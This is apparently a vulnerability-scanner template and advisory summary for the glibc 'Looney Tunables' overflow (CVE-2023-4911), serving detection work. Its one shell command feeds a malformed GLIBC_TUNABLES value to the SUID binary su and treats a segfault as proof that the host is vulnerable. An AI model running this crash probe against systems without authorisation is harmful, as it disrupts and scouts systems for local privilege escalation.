A buffer overflow was discovered in the GNU C Library's dynamic loader ld.so while processing the GLIBC_TUNABLES environment variable. This issue could allow a local attacker to use maliciously crafted GLIBC_TUNABLES environment variables when launching binaries with SUID permission to execute code with elevated privileges.
PoC代码[已公开]
id: CVE-2023-4911
info:
name: Looney Tunables Linux - Local Privilege Escalation
author: nybble04
severity: high
description: |
A buffer overflow was discovered in the GNU C Library's dynamic loader ld.so while processing the GLIBC_TUNABLES environment variable. This issue could allow a local attacker to use maliciously crafted GLIBC_TUNABLES environment variables when launching binaries with SUID permission to execute code with elevated privileges.
reference:
- https://nvd.nist.gov/vuln/detail/CVE-2023-4911
- https://www.qualys.com/2023/10/03/cve-2023-4911/looney-tunables-local-privilege-escalation-glibc-ld-so.txt
- https://www.youtube.com/watch?v=1iV-CD9Apn8
- http://www.openwall.com/lists/oss-security/2023/10/05/1
- http://www.openwall.com/lists/oss-security/2023/10/13/11
classification:
cvss-metrics: CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
cvss-score: 7.8
cve-id: CVE-2023-4911
cwe-id: CWE-787,CWE-122
epss-score: 0.73736
epss-percentile: 0.98777
cpe: cpe:2.3:a:gnu:glibc:*:*:*:*:*:*:*:*
metadata:
max-request: 1
vendor: gnu
product: glibc
tags: cve,cve2023,code,glibc,looneytunables,linux,privesc,local,kev,gnu,vkev
self-contained: true
code:
- engine:
- sh
- bash
source: |
env -i "GLIBC_TUNABLES=glibc.malloc.mxfast=glibc.malloc.mxfast=A" "Z=`printf '%08192x' 1`" /usr/bin/su --help
echo $?
matchers:
- type: word
words:
- "139" # Segmentation Fault Exit Code
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